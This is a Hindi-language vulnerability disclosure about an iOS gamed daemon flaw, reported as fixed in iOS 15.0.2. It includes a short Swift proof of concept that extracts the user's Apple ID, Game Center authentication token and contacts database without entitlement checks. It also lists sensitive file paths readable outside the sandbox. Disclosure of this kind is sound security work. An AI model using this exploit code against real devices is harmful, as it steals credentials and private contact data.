
iOS gamed एक्सप्लॉइट (15.0.2 में ठीक किया गया)
अपडेट: Apple ने इसे iOS 15.0.2 में चुपचाप ठीक कर दिया है, बिना किसी सार्वजनिक स्वीकृति या श्रेय के।
App Store से इंस्टॉल किया गया कोई भी ऐप उपयोगकर्ता से बिना कोई प्रॉम्प्ट पूछे निम्नलिखित डेटा एक्सेस कर सकता है:
यहाँ एक संक्षिप्त प्रूफ ऑफ कॉन्सेप्ट है।
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
let appleID = response.credential.accountName
let token = response.credential.authenticationToken
}
utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
let addressBookData = data
}
}
यह कैसे होता है:
com.apple.gamed com.apple.developer.game-center एंटाइटलमेंट की सही ढंग से जाँच नहीं करती हैgetServicesForPID:localPlayer:reply: को कॉल करने पर कई XPC प्रॉक्सी ऑब्जेक्ट (GKAccountService, GKFriendService, GKUtilityService, आदि) लौटाए जाते हैं।com.apple.developer.game-center एंटाइटलमेंट न हो), GKAccountService पर authenticatePlayerWithExistingCredentialsWithHandler: को कॉल करने पर एक ऑब्जेक्ट लौटता है जिसमें उपयोगकर्ता की Apple ID, DSID और Game Center प्रमाणीकरण टोकन होता है (जो उपयोगकर्ता की ओर से https://gc.apple.com पर अनुरोध भेजने की अनुमति देता है)। GKProfileService पर getProfilesForPlayerIDs:handler: को कॉल करने पर एक ऑब्जेक्ट लौटता है जिसमें उपयोगकर्ता की Apple ID का पहला और अंतिम नाम होता है। GKFriendService पर getFriendsForPlayer:handler: को कॉल करने पर एक ऑब्जेक्ट लौटता है जिसमें Game Center में उपयोगकर्ता के मित्र के बारे में जानकारी होती है।com.apple.developer.game-center एंटाइटलमेंट न हो, GKUtilityService पर requestImageDataForURL:subdirectory:fileName:handler: को कॉल करने पर उस विधि में फ़ाइल URL पास करके ऐप सैंडबॉक्स के बाहर की मनमानी फ़ाइलों को पढ़ा जा सकता है। इस तरह से एक्सेस की जा सकने वाली फ़ाइलों में निम्नलिखित शामिल हैं (केवल इन्हीं तक सीमित नहीं):
/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - इसमें मोबाइल गेस्टाल्ट कैश होता है
/var/mobile/Library/CoreDuet/People/interactionC.db - इसमें Mail, SMS, iMessage, तृतीय-पक्ष मैसेजिंग ऐप्स के संपर्कों की सूची और उपयोगकर्ता के इन संपर्कों के साथ अंतःक्रिया का मेटाडेटा होता है (टाइमस्टैम्प और आँकड़ों सहित)
/var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - इसमें पसंदीदा संपर्क और उनके फ़ोन नंबर होते हैं
/var/mobile/Library/AddressBook/AddressBook.sqlitedb - इसमें संपूर्ण Address Book डेटाबेस होता है
/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - इसमें Address Book संपर्कों की तस्वीरें होती हैंGKUtilityService पर cacheImageData:inSubdirectory:withFileName:handler: को कॉल करने से ऐप सैंडबॉक्स के बाहर किसी स्थान पर मनमाना डेटा लिखना संभव हो सकता है।Apple Security Bounty Program पेज पर इस भेद्यता का मूल्यांकन $100,000 किया गया है (संवेदनशील डेटा तक व्यापक ऐप पहुँच जो सामान्यतः TCC प्रॉम्प्ट या प्लेटफ़ॉर्म सैंडबॉक्स द्वारा सुरक्षित होती है। "संवेदनशील डेटा" पहुँच में Contacts से व्यापक पहुँच (यानी संपूर्ण डेटाबेस) प्राप्त करना शामिल है)।